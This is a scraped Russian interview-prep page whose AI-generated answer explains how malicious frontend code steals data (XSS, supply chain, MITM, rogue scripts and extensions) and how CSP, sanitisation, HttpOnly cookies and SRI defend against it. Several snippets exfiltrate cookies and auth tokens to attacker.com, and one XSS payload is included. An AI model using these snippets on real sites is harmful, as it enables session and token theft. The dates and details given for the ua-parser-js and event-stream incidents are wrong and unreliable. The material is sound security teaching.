\n\n\nhttps://example.com?q=\n```\n\n### 2. Supply Chain Attack (уязвимые зависимости)\n\nЕсли одна из npm-зависимостей содержит вредоносный код, он выполнится в вашем приложении:\n\n```javascript\n// package.json\n{\n \"dependencies\": {\n \"popular-library\": \"1.0.0\" // Эта библиотека скомпрометирована\n }\n}\n\n// Внутри popular-library могут быть вредоносные скрипты\n// которые крадут localStorage, cookies, creditcard данные\n```\n\nПримеры реальных атак:\n- В 2023 году пакет `ua-parser-js` был скомпрометирован\n- В 2021 году `event-stream` содержал код для майнинга криптовалюты\n\n### 3. Man-in-the-Middle (MITM) атака\n\nЕсли подключение не HTTPS или оно скомпрометировано, атакующий может изменить JavaScript код:\n\n```javascript\n// Оригинальный скрипт\n\n\n// Атакующий перехватывает и модифицирует код\n// Добавляет код для отправки данных:\nfetch('https://attacker.com', {\n method: 'POST',\n body: JSON.stringify({\n cookies: document.cookie,\n localStorage: localStorage,\n auth_token: localStorage.getItem('token')\n })\n});\n```\n\n### 4. Вредоносные третьи лица (Third-party scripts)\n\nЕсли вы подключаете скрипты с неизвестных источников или не проверяете их:\n\n```html\n\n\n\n\n\n```\n\n### 5. Browser Extension атака\n\nВредоносное расширение браузера может:\n\n```javascript\n// Расширение имеет доступ к JS контексту\n// и может отправлять данные:\nwindow.addEventListener('message', (event) => {\n if (event.data.authToken) {\n fetch('https://attacker.com/steal', {\n method: 'POST',\n body: JSON.stringify({ token: event.data.authToken })\n });\n }\n});\n```\n\n### 6. Local Storage / Session Storage утечка\n\nВредоносный код может получить доступ к хранилищу:\n\n```javascript\n// Если XSS есть, атакующий может прочитать:\nconst secrets = {\n token: localStorage.getItem('authToken'),\n refreshToken: localStorage.getItem('refreshToken'),\n userData: JSON.parse(localStorage.getItem('user'))\n};\n\n// И отправить на свой сервер\nfetch('https://attacker.com/collect', {\n method: 'POST',\n body: JSON.stringify(secrets)\n});\n```\n\n### 7. Cookies утечка (если нет httpOnly флага)\n\n```javascript\n// ПЛОХО -- cookies доступны для JavaScript\nSet-Cookie: sessionId=abc123; Path=/;\n\n// Вредоносный код может прочитать:\nconst sessionId = document.cookie.split('sessionId=')[1];\nfetch('https://attacker.com', {\n method: 'POST',\n body: sessionId\n});\n\n// ХОРОШО -- httpOnly флаг защищает от XSS\nSet-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict;\n// JavaScript не может прочитать этот cookie\n```\n\n### Как защитить приложение\n\n**1. Content Security Policy (CSP)**\n\n```html\n\n\n```\n\nТеперь fetch на attacker.com будет заблокирован!\n\n**2. Санитизация входных данных**\n\n```typescript\n// ПЛОХО\nfunction UserComment({ comment }) {\n return
;\n}\n\n// ХОРОШО -- используй библиотеку для очистки HTML\nimport DOMPurify from 'dompurify';\n\nfunction UserComment({ comment }) {\n const clean = DOMPurify.sanitize(comment);\n return
;\n}\n\n// ЛУЧШЕ -- просто отображай как текст\nfunction UserComment({ comment }) {\n return
{comment}
; // Автоматически экранируется\n}\n```\n\n**3. HttpOnly cookies для токенов**\n\n```javascript\n// На сервере при установке cookie\nres.setHeader('Set-Cookie', \n 'authToken=xyz; HttpOnly; Secure; SameSite=Strict; Path=/');\n```\n\n**4. Проверка зависимостей**\n\n```bash\n# Регулярно проверяй уязвимости\nnpm audit\nnpm audit fix\n\n# Используй зависимости от репутабельных авторов\n# Проверяй количество загрузок и поддержку\n```\n\n**5. Subresource Integrity (SRI)**\n\n```html\n\n\n```\n\nЕсли hash не совпадает, скрипт не загружается!\n\n**6. CORS правила**\n\n```javascript\n// На сервере\nres.setHeader('Access-Control-Allow-Origin', 'https://example.com');\nres.setHeader('Access-Control-Allow-Credentials', 'true');\n\n// Только authorized домены могут делать cross-origin запросы\n```\n\n**7. Regular Security Audits**\n\n```bash\n# Используй инструменты для проверки\neslint --plugin security\nsnyk test\nOWASP dependency check\n```\n\n### Практический пример безопасного кода\n\n```typescript\n// ПЛОХО -- множество уязвимостей\nfunction Dashboard({ userData }) {\n useEffect(() => {\n fetch('https://unknown-api.com/analytics', {\n method: 'POST',\n body: JSON.stringify(userData)\n });\n }, [userData]);\n\n return (\n
\n

\n
← Назад к вопросам

Как вредоносный код может начать отправлять данные на сервисе?

1.3 Junior🔥 71 комментариев
#Браузер и сетевые технологии

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Как вредоносный код может начать отправлять данные на сервис

Этот вопрос о безопасности фронтенда и различных способах, которыми вредоносный код может оказаться в приложении и начать красть данные. Это критично для понимания фронтенд-разработчика.

Основные векторы атак

Вредоносный код может попасть в приложение несколькими путями:

1. XSS (Cross-Site Scripting)

Это самая распространённая уязвимость на фронтенде. Вредоносный JavaScript выполняется в контексте вашего сайта.

Вариант 1: Stored XSS (прямая вставка в DOM)

// УЯЗВИМО -- React или другой фреймворк
function UserProfile({ username }) {
  return (
    <div>
      {/* ОПАСНО -- вставляет HTML напрямую */}
      <h1 dangerouslySetInnerHTML={{ __html: username }} />
    </div>
  );
}

// Если username = "<img src=x onerror=\"fetch('https://attacker.com/steal', {
//   method: 'POST',
//   body: JSON.stringify(localStorage.getItem('authToken'))
// })\">" 
// Токен будет отправлен на attacker.com

Вариант 2: Reflected XSS (через URL)

<!-- Уязвимая страница -->
<script>
  const search = new URLSearchParams(window.location.search).get('q');
  document.body.innerHTML = "Results for: " + search;
</script>

<!-- Если отправить ссылку с XSS полезной нагрузкой: -->
https://example.com?q=<img src=x onerror="sendDataToAttacker()">

2. Supply Chain Attack (уязвимые зависимости)

Если одна из npm-зависимостей содержит вредоносный код, он выполнится в вашем приложении:

// package.json
{
  "dependencies": {
    "popular-library": "1.0.0"  // Эта библиотека скомпрометирована
  }
}

// Внутри popular-library могут быть вредоносные скрипты
// которые крадут localStorage, cookies, creditcard данные

Примеры реальных атак:

  • В 2023 году пакет ua-parser-js был скомпрометирован
  • В 2021 году event-stream содержал код для майнинга криптовалюты

3. Man-in-the-Middle (MITM) атака

Если подключение не HTTPS или оно скомпрометировано, атакующий может изменить JavaScript код:

// Оригинальный скрипт
<script src="https://cdn.example.com/app.js"></script>

// Атакующий перехватывает и модифицирует код
// Добавляет код для отправки данных:
fetch('https://attacker.com', {
  method: 'POST',
  body: JSON.stringify({
    cookies: document.cookie,
    localStorage: localStorage,
    auth_token: localStorage.getItem('token')
  })
});

4. Вредоносные третьи лица (Third-party scripts)

Если вы подключаете скрипты с неизвестных источников или не проверяете их:

<!-- Опасно -- неизвестный источник -->
<script src="https://unknown-analytics.com/tracker.js"></script>

<!-- Скрипт может иметь доступ ко всему на странице: -->
<script>
  // Может отправить все данные со страницы
  fetch('https://attacker.com', {
    method: 'POST',
    body: JSON.stringify({
      pageHTML: document.documentElement.innerHTML,
      cookies: document.cookie,
      formData: getAllFormInputs()
    })
  });
</script>

5. Browser Extension атака

Вредоносное расширение браузера может:

// Расширение имеет доступ к JS контексту
// и может отправлять данные:
window.addEventListener('message', (event) => {
  if (event.data.authToken) {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: JSON.stringify({ token: event.data.authToken })
    });
  }
});

6. Local Storage / Session Storage утечка

Вредоносный код может получить доступ к хранилищу:

// Если XSS есть, атакующий может прочитать:
const secrets = {
  token: localStorage.getItem('authToken'),
  refreshToken: localStorage.getItem('refreshToken'),
  userData: JSON.parse(localStorage.getItem('user'))
};

// И отправить на свой сервер
fetch('https://attacker.com/collect', {
  method: 'POST',
  body: JSON.stringify(secrets)
});

7. Cookies утечка (если нет httpOnly флага)

// ПЛОХО -- cookies доступны для JavaScript
Set-Cookie: sessionId=abc123; Path=/;

// Вредоносный код может прочитать:
const sessionId = document.cookie.split('sessionId=')[1];
fetch('https://attacker.com', {
  method: 'POST',
  body: sessionId
});

// ХОРОШО -- httpOnly флаг защищает от XSS
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict;
// JavaScript не может прочитать этот cookie

Как защитить приложение

1. Content Security Policy (CSP)

<!-- Блокирует загрузку скриптов с неавторизованных источников -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'nonce-abcd1234'; 
               connect-src 'self' https://api.example.com; 
               img-src 'self' data: https:;">

Теперь fetch на attacker.com будет заблокирован!

2. Санитизация входных данных

// ПЛОХО
function UserComment({ comment }) {
  return <div dangerouslySetInnerHTML={{ __html: comment }} />;
}

// ХОРОШО -- используй библиотеку для очистки HTML
import DOMPurify from 'dompurify';

function UserComment({ comment }) {
  const clean = DOMPurify.sanitize(comment);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// ЛУЧШЕ -- просто отображай как текст
function UserComment({ comment }) {
  return <div>{comment}</div>; // Автоматически экранируется
}

3. HttpOnly cookies для токенов

// На сервере при установке cookie
res.setHeader('Set-Cookie', 
  'authToken=xyz; HttpOnly; Secure; SameSite=Strict; Path=/');

4. Проверка зависимостей

# Регулярно проверяй уязвимости
npm audit
npm audit fix

# Используй зависимости от репутабельных авторов
# Проверяй количество загрузок и поддержку

5. Subresource Integrity (SRI)

<!-- Гарантирует, что скрипт не был изменён -->
<script 
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVzEYhL2R...">
</script>

Если hash не совпадает, скрипт не загружается!

6. CORS правила

// На сервере
res.setHeader('Access-Control-Allow-Origin', 'https://example.com');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// Только authorized домены могут делать cross-origin запросы

7. Regular Security Audits

# Используй инструменты для проверки
eslint --plugin security
snyk test
OWASP dependency check

Практический пример безопасного кода

// ПЛОХО -- множество уязвимостей
function Dashboard({ userData }) {
  useEffect(() => {
    fetch('https://unknown-api.com/analytics', {
      method: 'POST',
      body: JSON.stringify(userData)
    });
  }, [userData]);

  return (
    <div>
      <h1 dangerouslySetInnerHTML={{ __html: userData.name }} />
      <script src="https://random-tracker.com/track.js" />
    </div>
  );
}

// ХОРОШО -- защита от основных атак
function Dashboard({ userData }) {
  // Отправляем только на наш сервер
  useEffect(() => {
    fetch('/api/analytics', {
      method: 'POST',
      body: JSON.stringify({
        // Отправляем минимум информации
        visitedAt: new Date()
      })
    });
  }, []);

  // Текст автоматически экранируется
  return (
    <div>
      <h1>{userData.name}</h1>
      <p>{userData.bio}</p>
    </div>
  );
}

Заключение

Вредоносный код может попасть на фронтенд через:

  1. XSS уязвимости
  2. Скомпрометированные зависимости
  3. Неэнкриптированные каналы (MITM)
  4. Вредоносные third-party скрипты
  5. Вредоносные расширения

Защита требует многоуровневого подхода:

  • CSP для блокировки неавторизованных скриптов
  • Санитизация входных данных
  • HttpOnly cookies для токенов
  • Проверка зависимостей
  • HTTPS везде
  • Регулярные аудиты безопасности

Безопасность — это не одна фича, это постоянный процесс.

Как вредоносный код может начать отправлять данные на сервисе? | PrepBro